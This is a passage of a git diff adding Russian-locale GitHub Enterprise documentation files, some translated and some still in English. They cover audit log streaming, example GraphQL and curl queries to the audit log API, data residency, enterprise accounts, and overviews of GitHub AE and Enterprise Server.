stream** dropdown menu and click **Datadog**. + + ![Screenshot of the "Configure stream" dropdown menu with "Datadog" highlighted](/assets/images/help/enterprises/audit-stream-choice-datadog.png) +1. Under "Token", paste the token you copied earlier. + + ![Screenshot of the "Token" field](/assets/images/help/enterprises/audit-stream-datadog-token.png) +1. Select the "Site" dropdown menu and click your Datadog site. To determine your Datadog site, compare your Datadog URL to the table in [Datadog sites](https://docs.datadoghq.com/getting_started/site/) in Datadog Docs. + + ![Screenshot of the "Site" dropdown menu](/assets/images/help/enterprises/audit-stream-datadog-site.png) +1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Datadog endpoint, click **Check endpoint**. + + ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} +1. After a few minutes, confirm that audit log data is appearing on the **Logs** tab in Datadog. If audit log data is not appearing, confirm that your token and site are correct in {% data variables.product.prodname_dotcom %}. +{% endif %} + +### Setting up streaming to Google Cloud Storage + +To set up streaming to Google Cloud Storage, you must create a service account in Google Cloud with the appropriate credentials and permissions, then configure audit log streaming in {% data variables.product.product_name %} using the service account's credentials for authentication. + +1. Create a service account for Google Cloud. You do not need to set access controls or IAM roles for the service account. For more information, see [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) in the Google Cloud documentation. +1. Create a JSON key for the service account, and store the key securely. For more information, see [Creating and managing service account keys](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) in the Google Cloud documentation. +1. If you haven't created a bucket yet, create the bucket. For more information, see [Creating storage buckets](https://cloud.google.com/storage/docs/creating-buckets) in the Google Cloud documentation. +1. Give the service account the Storage Object Creator role for the bucket. For more information, see [Using Cloud IAM permissions](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) in the Google Cloud documentation. +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Select the Configure stream drop-down menu and click **Google Cloud Storage**. + + ![Screenshot of the "Configure stream" drop-down menu](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png) + +1. Under "Bucket", type the name of your Google Cloud Storage bucket. + + ![Screenshot of the "Bucket" text field](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png) + +1. Under "JSON Credentials", paste the entire contents of the file for your service account's JSON key. + + ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png) + +1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. + + ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png) + +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +### Setting up streaming to Splunk + +To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation. + +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Click **Configure stream** and select **Splunk**. + + ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png) + +1. On the configuration page, enter: + * The domain on which the application you want to stream to is hosted. + + If you are using Splunk Cloud, `Domain` should be `http-inputs-`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. + + * The port on which the application accepts data.
+ + If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`. + + * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application. + + ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png) + +1. Leave the **Enable SSL verification** check box selected. + + Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled. +1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Splunk endpoint. + ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png) +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +{% ifversion pause-audit-log-stream %} +## Pausing audit log streaming + +Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.location.product_location %} and are then exported when you unpause the stream. + +{% ifversion streaming-datadog %} +Datadog only accepts logs from up to 18 hours in the past. If you pause a stream to a Datadog endpoint for more than 18 hours, you risk losing logs that Datadog won't accept after you resume streaming. +{% endif %} + +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Click **Pause stream**. + + ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png) + +1. A confirmation message is displayed. Click **Pause stream** to confirm. + +When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs. +{% endif %} + +## Deleting the audit log stream + +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Click **Delete stream**. + + ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png) + +1. A confirmation message is displayed. Click **Delete stream** to confirm. diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md new file mode 100644 index 000000000000..bf86d9d4a819 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md @@ -0,0 +1,138 @@ +--- +title: Using the audit log API for your enterprise +intro: 'You can programmatically retrieve enterprise events with the REST or GraphQL API.' +shortTitle: Audit log API +permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can use the audit log API.' +miniTocMaxHeadingLevel: 3 +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: tutorial +topics: + - Auditing + - Enterprise + - Logging + - API +--- + +## Using the audit log API + +You can interact with the audit log using the GraphQL API or the REST API.{% ifversion read-audit-scope %} You can use the `read:audit_log` scope to access the audit log via the APIs.{% endif %} + +Timestamps and date fields in the API response are measured in [UTC epoch milliseconds](http://en.wikipedia.org/wiki/Unix_time). + +## Querying the audit log GraphQL API + +To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log GraphQL API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audit-log-api-info %} + +Note that you can't retrieve Git events using the {% ifversion not ghec %}audit log API.{% else %}GraphQL API. To retrieve Git events, use the REST API instead. For more information, see `git` category actions in "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)", and also the "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization) audit log endpoints in the REST API documentation."{% endif %} + +The GraphQL response can include data for up to 90 to 120 days. + +### Example 1: Members added to or removed from organizations in an enterprise + +The query below fetches the audit logs for the `avocado-corp` enterprise and returns the first 10 organizations in the enterprise, where the only actions performed were adding or removing a member from an organization. The first 20 audit log entries for each organization are returned. + +This query uses the [auditlog](/graphql/reference/objects) field from the Organization object, and the [OrgAddMemberAuditEntry](/graphql/reference/objects#orgaddmemberauditentry) and [OrgRemoveMemberAuditEntry](/graphql/reference/objects#orgremovememberauditentry) objects. The {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an organization owner for each organization within the enterprise. + +```shell +{ + enterprise(slug: "avocado-corp") { + organizations(first: 10, orderBy: {field: LOGIN, direction: DESC}) { + nodes { + name + auditLog(first: 20) { + edges { + node { + ... on OrgAddMemberAuditEntry { + action + actorLogin + createdAt + } + ... on OrgRemoveMemberAuditEntry { + action + actorLogin + createdAt + } + } + } + } + } + pageInfo { + hasNextPage + endCursor + } + } + } +} +``` + +The GraphQL API will return at most 100 nodes per query. To retrieve additional results, you'll need to implement pagination. For more information, see "[Resource limitations](/graphql/overview/resource-limitations#node-limit)" in the GraphQL API documentation and [Pagination](https://graphql.org/learn/pagination/) in the official GraphQL documentation. +### Example 2: Events in an organization, for a specific date and actor + +You can specify multiple search phrases, such as `created` and `actor`, by separating them in your query string with a space. + +The query below fetches all the audit logs for the `avocado-corp` enterprise that relate to the `octo-org` organization, where the actions were performed by the `octocat` user on or after the 1 Jan, 2022. The first 20 audit log entries are returned, with the newest log entry appearing first. + +This query uses the [AuditEntry](/graphql/reference/interfaces#auditentry) interface. The {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an owner of the `octo-org` organization. + +```shell +{ + enterprise(slug: "avocado-corp") { + organizations(first: 1, query: "octo-org") { + nodes { + name + auditLog(first: 20, query: "actor:octocat created:>=2022-01-01T00:00:00.000Z", orderBy: {field: CREATED_AT, direction: DESC}) { + edges { + node { + ... on AuditEntry { + action + actorLogin + createdAt + user { + name + } + } + } + } + } + } + } + } +} +``` + +For more query examples, see the [platform-samples repository](https://github.com/github/platform-samples/blob/master/graphql/queries). + +## Querying the audit log REST API + +To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log REST API to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audited-data-list %} + +{% data reusables.audit_log.retention-periods %} + +For more information about the audit log REST API, see "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)." + +### Example 1: All events in an enterprise, for a specific date, with pagination + +The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and return the first page with a maximum of 100 items per page using [REST API pagination](/rest/overview/resources-in-the-rest-api#pagination): + +```shell +curl -H "Authorization: Bearer TOKEN" \ +--request GET \ +"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&page=1&per_page=100" +``` + +### Example 2: Events for pull requests in an enterprise, for a specific date and actor + +You can specify multiple search phrases, such as `created` and `actor`, by separating them in your formed URL with the `+` symbol or ASCII character code `%20`. + +The query below searches for audit log events for pull requests, where the event occurred on or after Jan 1st, 2022 in the `avocado-corp` enterprise, and the action was performed by the `octocat` user: + +```shell +curl -H "Authorization: Bearer TOKEN" \ +--request GET \ +"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=action:pull_request+created:>=2022-01-01+actor:octocat" +``` diff --git a/translations/ru-RU/content/admin/overview/about-data-residency.md b/translations/ru-RU/content/admin/overview/about-data-residency.md new file mode 100644 index 000000000000..1147142dd910 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-data-residency.md @@ -0,0 +1,16 @@ +--- +title: About data residency +intro: 'You can choose the geography where {% data variables.product.product_name %} stores all customer data for your enterprise.' +versions: + ghae: '*' +type: overview +topics: + - Enterprise + - Fundamentals +--- + +{% data reusables.github-ae.github-ae-enables-you %} You can choose the geography where you store all the customer data for {% data variables.location.product_location %}, and members of your enterprise can access {% data variables.product.product_name %} from anywhere in the world. + +When creating your enterprise, you can tell {% data variables.contact.contact_enterprise_sales %} where to store your customer data. {% data variables.product.company_short %} will not store or move any of your enterprise's data outside of the geography you choose. + +For more information about the available geographies, contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ru-RU/content/admin/overview/about-enterprise-accounts.md b/translations/ru-RU/content/admin/overview/about-enterprise-accounts.md new file mode 100644 index 000000000000..8bcf0fb42e6b --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-enterprise-accounts.md @@ -0,0 +1,115 @@ +--- +title: Сведения об учетных записях предприятия +intro: 'С помощью {% data variables.product.product_name %} можно использовать корпоративную учетную запись для {% ifversion ghec %}обеспечения совместной работы между организациями, предоставляя{% elsif ghes or ghae %}предоставив{% endif %} администраторам возможность централизованного отслеживания и управления.' +redirect_from: + - /articles/about-github-business-accounts + - /articles/about-enterprise-accounts + - /enterprise/admin/installation/about-enterprise-accounts + - /enterprise/admin/overview/about-enterprise-accounts + - /github/setting-up-and-managing-your-enterprise-account/about-enterprise-accounts + - /github/setting-up-and-managing-your-enterprise/about-enterprise-accounts + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Accounts + - Enterprise + - Fundamentals +ms.openlocfilehash: b0d1455fef80094f0dcdf20332605bd427d9c441 +ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: '148127630' +--- +## Сведения об учетных записях предприятия в {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %} + +{% ifversion ghec %} + +Ваша корпоративная учетная запись в {% data variables.product.prodname_dotcom_the_website %} позволяет управлять несколькими организациями. Корпоративная учетная запись должна иметь дескриптор, как любая учетная запись организации или пользователя в {% data variables.product.prodname_dotcom %}. + +{% elsif ghes or ghae %} + +Корпоративная учетная запись в {% ifversion ghes %}{% data variables.location.product_location_enterprise %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} позволяет управлять организациями{% ifversion ghes %} на{% elsif ghae %}, принадлежащей {% endif %} вашему экземпляру {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% elsif ghae %}enterprise{% endif %}. + +{% endif %} + +Организации — это общие учетные записи, в которых члены корпорации могут совместно работать над несколькими проектами одновременно. Владельцы организации могут управлять доступом к данным и проектам организации с применением сложных функций безопасности и администрирования. Дополнительные сведения см. в статье "[Сведения об организациях](/organizations/collaborating-with-groups-in-organizations/about-organizations)". + +{% ifversion ghec %} В параметрах предприятия владельцы предприятия могут приглашать существующие организации присоединиться к вашей корпоративной учетной записи, передавать организации между корпоративными учетными записями или создавать новые организации. Дополнительные сведения см. в разделе [Добавление организаций на предприятии](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). +{% endif %} + +Ваша корпоративная учетная запись позволяет управлять политиками для всех организаций, принадлежащих предприятию, и принудительно применять их. {% data reusables.enterprise.about-policies %} Дополнительные сведения см. в разделе [Сведения о корпоративных политиках](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies). + +{% ifversion ghec %} + +{% data reusables.enterprise.create-an-enterprise-account %} Дополнительные сведения см. в статье "[Создание корпоративной учетной записи](/admin/overview/creating-an-enterprise-account)". + +{% endif %} + +## Сведения об администрировании корпоративной учетной записи + +{% ifversion ghes or ghae %} + +Корпоративная учетная запись в {% ifversion ghae %}{% data variables.product.product_name %}{% elsif ghes %}экземпляре {% data variables.product.prodname_ghe_server %} {% endif %}, позволяет администраторам просматривать членство в корпорации {% ifversion remove-enterprise-members %} и управлять им{% endif %}{% ifversion enterprise-owner-join-org %}, управлять собственным членством в организациях, принадлежащих корпорации{% endif %} и управлять следующими параметрами для {% ifversion ghes %}экземпляра {% data variables.product.prodname_ghe_server %} {% elsif ghae %}корпорацией в {% data variables.product.prodname_ghe_managed %}{% endif %}: + +{% ifversion ghes %} +- потребление лицензий;{% endif %} +- средства обеспечения безопасности ({% ifversion ghae %}единый вход, списки разрешенных IP-адресов, {% endif %}центры сертификации SSH, двухфакторная проверка подлинности); +- корпоративные политики для организаций, принадлежащих корпоративной учетной записи. + +{% endif %} + +{% ifversion ghes %} + +### Сведения об администрировании корпоративной учетной записи в {% data variables.product.prodname_ghe_cloud %} + +{% endif %} + +{% ifversion ghec or ghes %} При пробной эксплуатации или после покупки {% data variables.product.prodname_enterprise %}вы можете{% ifversion ghes %}вы должны{% endif %} создать корпоративную учетную запись для {% data variables.product.prodname_ghe_cloud %} на сайте {% data variables.product.prodname_dotcom_the_website %}. На сайте {% data variables.product.prodname_dotcom_the_website %} администраторы корпоративной учетной записи могут просматривать членство в организации {% ifversion remove-enterprise-members %} и управлять{% endif %} им{% ifversion enterprise-owner-join-org %}, управлять собственным членством в организациях, принадлежащих корпорации{% endif %} и управлять следующими элементами для корпоративной учетной записи{% ifversion ghes %} на сайте {% data variables.product.prodname_dotcom_the_website %}{% endif %}: + +- выставление счетов и использование (службы на сайте {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_GH_advanced_security %}, пользовательские лицензии); +- средствами обеспечения безопасности (единый вход, списки разрешенных IP-адресов, центры сертификации SSH, двухфакторная проверка подлинности); +- корпоративные политики для организаций, принадлежащих корпоративной учетной записи. + +Если вы используете одновременно {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}, вы также можете управлять следующими данными для {% data variables.product.prodname_ghe_server %} из корпоративной учетной записи на сайте {% data variables.product.prodname_dotcom_the_website %}: + +- выставление счетов и использование для экземпляров {% data variables.product.prodname_ghe_server %}; +- запросы и поддержка совместного использования пакетов через {% data variables.contact.enterprise_support %}. + +Вы также можете подключить корпоративную учетную запись в {% data variables.location.product_location_enterprise %} к корпоративной учетной записи на {% data variables.product.prodname_dotcom_the_website %}, чтобы просмотреть сведения об использовании лицензий для подписки {% data variables.product.prodname_enterprise %} из {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в статье {% ifversion ghec %}[Синхронизация потребления лицензий между {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud) в документации по {% data variables.product.prodname_ghe_server %}. {% elsif ghes %}[Синхронизация потребления лицензий между {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud).{% endif %} + +Дополнительные сведения о различиях между {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %} см. в статье [Продукты {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products). {% data reusables.enterprise-accounts.to-upgrade-or-get-started %} + +{% endif %} + +## Сведения о выставлении счетов для корпоративной учетной записи + +В счет за корпоративную учетную запись включаются ежемесячные затраты для каждого участника корпорации. Этот счет включает {% ifversion ghec %}любые платные лицензии в организациях за пределами вашей корпоративной учетной записи, подписки на приложения в {% data variables.product.prodname_marketplace %}, {% endif %}{% ifversion ghec or ghae %}дополнительные платные службы для вашего предприятия{% ifversion ghec %}, например пакеты данных для {% data variables.large_files.product_name_long %}, {% endif %} и {% endif %} сведения о потреблении для {% data variables.product.prodname_GH_advanced_security %}. + +{% ifversion ghec %} + +Дополнительные сведения о выставлении счетов за подписку {% data variables.product.prodname_ghe_cloud %} см. в статьях [Просмотр подписки и потребления для корпоративной учетной записи](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account) и [Сведения о выставлении счетов для корпорации](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise). + +{% elsif ghes %} + +{% data reusables.enterprise-accounts.enterprise-accounts-billing %} + +Дополнительные сведения о выставлении счетов за {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}, см. в статье [Сведения о выставлении счетов для корпорации](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise). + +{% endif %} + +{% ifversion ghec or ghes %} + +{% ifversion ghec %} + +{% data variables.product.prodname_enterprise %} предоставляет два варианта развертывания. Помимо {% data variables.product.prodname_ghe_cloud %}, вы можете использовать {% data variables.product.prodname_ghe_server %} для размещения работ по разработке для вашей корпорации в центре обработки данных или в любом поддерживаемом поставщике облачных служб. {% endif %} владельцы корпорации на сайте {% data variables.product.prodname_dotcom_the_website %} могут использовать корпоративную учетную запись для управления оплатой и лицензированием для экземпляров {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в статьях [Продукты {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products#github-enterprise) и [Управление лицензиями для сайта {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise). + +{% endif %} + +## Дополнительные материалы + +- Раздел [Корпоративные учетные записи](/graphql/guides/managing-enterprise-accounts) в документации API GraphQL diff --git a/translations/ru-RU/content/admin/overview/about-github-ae.md b/translations/ru-RU/content/admin/overview/about-github-ae.md new file mode 100644 index 000000000000..95b1c817d1ff --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-github-ae.md @@ -0,0 +1,65 @@ +--- +title: "Сведения о GitHub\_AE" +intro: "{% data variables.product.prodname_ghe_managed %}\_— это улучшенный в плане безопасности и совместимый способ использования {% data variables.product.prodname_dotcom %} в облаке." +versions: + ghae: '*' +type: overview +topics: + - Enterprise + - Fundamentals +ms.openlocfilehash: 9e7769fca5b36252fad5566450ba156120491649 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147389854' +--- +## Сведения о {% data variables.product.prodname_ghe_managed %} + +{% data reusables.github-ae.github-ae-enables-you %} {% data variables.product.prodname_ghe_managed %} является полностью управляемым, надежным и масштабируемым, что позволяет ускорить доставку без ущерба для управления рисками и соответствия требованиям. + +{% data variables.product.prodname_ghe_managed %} предлагает одну платформу разработчика от идеи до производства. Вы можете повысить скорость разработки с помощью средств, которые команды знают и любят, при этом поддерживая соответствие отрасли и нормативным требованиям путем использования средств управления безопасностью и доступом, автоматизации рабочих процессов и применения политик. + +{% data reusables.enterprise.about-github-for-enterprises %} + +## Высокодоступное глобальное облако + +{% data variables.product.prodname_ghe_managed %} — это полностью управляемая служба, размещенная в архитектуре с высоким уровнем доступности. {% data variables.product.prodname_ghe_managed %} размещается глобально в облаке, которое может масштабироваться для поддержки полного жизненного цикла разработки без ограничений. {% data variables.product.prodname_dotcom %} полностью управляет резервными копиями, отработкой отказа и аварийным восстановлением, благодаря чему вам не нужно беспокоиться о службе или данных. + +## Местонахождение данных + +Все ваши данные хранятся в выбранном географическом регионе. Вы можете обеспечить соответствие требованиям к месту расположения данных регламента GDPR и стандартам защиты глобальных данных путем сохранения всех данных в выбранном регионе. + +## Изолированные учетные записи + +По умолчанию все учетные записи разработчика на {% data variables.product.product_name %} полностью изолированы от других служб, включая продукты из {% data variables.product.company_short %}. Вы можете контролировать учетные записи с помощью поставщика удостоверений, в обязательном порядке используя единый вход SAML. SCIM гарантирует, что сотрудники будут иметь доступ только к необходимым ресурсам, в соответствии с определением в центральной системе управления удостоверениями. Дополнительные сведения см. в статье [Управление удостоверениями и доступом для вашего предприятия](/admin/authentication/managing-identity-and-access-for-your-enterprise). + +При необходимости владельцы предприятия могут включить ограниченную интеграцию между {% data variables.product.product_name %} и {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect). + +## Ограниченный доступ к сети + +Защитите доступ к вашему предприятию в {% data variables.product.prodname_ghe_managed %} с ограниченным доступом к сети, чтобы ваши данные были доступны только в вашей сети. Дополнительные сведения см. в разделе [Ограничение сетевого трафика для вашего предприятия](/admin/configuration/restricting-network-traffic-to-your-enterprise). + +## Коммерческие и государственные среды + +{% data variables.product.prodname_ghe_managed %} доступен в облаке Azure для государственных организаций — доверенном облаке для государственных учреждений США и их партнеров. {% data variables.product.prodname_ghe_managed %} также доступен в коммерческом облаке, так что вы можете выбрать среду размещения, подходящую для вашей организации. + +## Аккредитации соответствия требованиям + +{% data variables.product.company_short %} постоянно инвестирует средства в рекомендации по безопасности, чтобы гарантировать, что ваши данные в безопасности, ваши разработчики продуктивны, а ваша команда может сосредоточиться на решении проблем. В рамках этого обязательства по обеспечению безопасности {% data variables.product.prodname_ghe_managed %} обеспечивает соответствие следующим аккредитациям. + +- Приоритетная авторизация (ATO) для FedRAMP +- SOC 1, SOC 2 Type II и SOC 3 +- Сертификации ISO/IEC + - ISO/IEC 27001:2013 + - ISO/IEC 27701:2019 + - ISO/IEC 9001:2015 + - ISO/IEC 22301:2019 + - ISO/IEC 27018:2014 + - ISO/IEC 20000-1:2018 + - ISO/IEC 27017:2015 + +## Дополнительные материалы + +- [Сведения о версиях {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs) +- [Получение справки из поддержки {% data variables.product.company_short %}](/admin/enterprise-support/receiving-help-from-github-support) diff --git a/translations/ru-RU/content/admin/overview/about-github-enterprise-server.md b/translations/ru-RU/content/admin/overview/about-github-enterprise-server.md new file mode 100644 index 000000000000..c3b54b8acf20 --- /dev/null +++ b/translations/ru-RU/content/admin/overview/about-github-enterprise-server.md @@ -0,0 +1,99 @@ +--- +title: About GitHub Enterprise Server +intro: '{% data variables.product.product_name %} is a software development platform that you can host in a private environment.' +versions: + ghes: '*' +type: overview +topics: + - Enterprise + - Fundamentals +--- + +## About {% data variables.product.product_name %} + +{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} Your team can use {% data variables.product.product_name %} to build and ship software using Git version control, powerful APIs, productivity and collaboration tools, and integrations. Developers familiar with {% data variables.product.prodname_dotcom_the_website %} can onboard and contribute seamlessly using familiar features and workflows. {% data reusables.enterprise.about-github-for-enterprises %} + +{% data reusables.enterprise.ghes-runs-on-your-infrastructure %} + +{% data reusables.enterprise.github-distributes-ghes %} For more information, see "[System overview](/admin/overview/system-overview)." + +You can choose to deploy {% data variables.product.product_name %} on premises, or to a supported cloud environment. + +## Supported environments for deployment + +You can deploy {% data variables.product.product_name %} to a virtualization hypervisor within your on-premises datacenter, or to a public cloud service. + +{% data variables.product.company_short %} supports the following virtualization hypervisors for on-premises deployment. + +- Microsoft Hyper-V +- OpenStack KVM +- VMware ESXi + +{% data variables.product.company_short %} supports the following services for cloud deployment. + +- Amazon Web Services (AWS) +- Google Cloud Platform (GCP) +- Microsoft Azure + +For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)." + +## About releases and upgrades + +{% data reusables.enterprise.constantly-improving %} You are responsible for upgrades to your instance. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)." + +## About administration + +You can configure and monitor {% data variables.product.product_name %} via browser, administrative SSH access, and REST or GraphQL APIs. {% data variables.product.company_short %} has found that people with Linux administration experience are more successful with the deployment and maintainance of {% data variables.product.product_name %}. + +You can give certain employees administrative access to {% data variables.product.product_name %}, so they can set up external authentication, configure the instance to meet developer needs, and monitor the instance's activity and performance. To ensure compliance with business rules or regulatory restrictions, administrators can configure policies that control how people use {% data variables.location.product_location %}. For more information, see the following articles. + +- "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)" +- "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)" +- "[About the {% data variables.product.prodname_enterprise %} API](/admin/overview/about-the-github-enterprise-api)" +- "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)" +- "[Monitoring activity in your enterprise](/admin/monitoring-activity-in-your-enterprise)" +- "[About enterprise policies](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies)" + +## About optional features + +You can configure optional features for {% data variables.product.product_name %} that improve the software development lifecycle for your enterprise. + +| Feature | Description | More information | +| :- | :- | :- | +| {% data variables.product.prodname_actions %} | Automate CI/CD and development workflows | "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)" | +| {% data variables.product.prodname_github_connect %} | Benefit from the power of {% data variables.product.prodname_dotcom_the_website %} in limited ways | "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)" | +| {% data variables.product.prodname_GH_advanced_security %} | Improve code security and quality | "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" | +| {% data variables.product.prodname_registry %} | Host software packages for your enterprise | "[Introduction to {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages)" | + +## About deployment topologies + +By default, {% data variables.product.product_name %} runs as a standalone instance. You can increase the reliability and performance of {% data variables.product.product_name %} by using a different topology for your deployment. + +- To mitigate the impact of system or network failures, you can deploy a passive replica instance. During an outage that affects your primary instance, you can manually fail over to the replica instance. For more information, see "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration)." +- You can configure multiple active replicas to improve performance for developers who are geographically distant from your primary instance. For more information, see "[About geo-replication](/admin/enterprise-management/configuring-high-availability/about-geo-replication)." +- Some enterprises with tens of thousands of developers may benefit from a cluster configuration that scales horizontally instead of vertically. For more information, see "[About clustering](/admin/enterprise-management/configuring-clustering/about-clustering)." + +## About backups and disaster recovery + +To safeguard against data loss or service disruptions for your developers, {% data variables.product.company_short %} strongly recommends that you establish a plan for disaster recovery. You can back up your instance's configuration and user data by deploying and configuring a Linux or Unix host system with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." + +Additionally, you can configure a passive replica instance to fail over to in the event of a system or network failure. For more information, see "[About deployment topologies](#about-deployment-topologies)." + +## About documentation + +Documentation for both administrators and users of {% data variables.product.product_name %} is available on this site, {% data variables.product.prodname_docs %}. + +- [Enterprise administrator documentation](/admin) +- [User documentation](/) + +Different versions of {% data variables.product.product_name %} are reflected separately in the documentation on {% data variables.product.prodname_docs %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +## Trying {% data variables.product.product_name %} + +You can sign up for a free, 45-day trial of {% data variables.product.product_name %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server 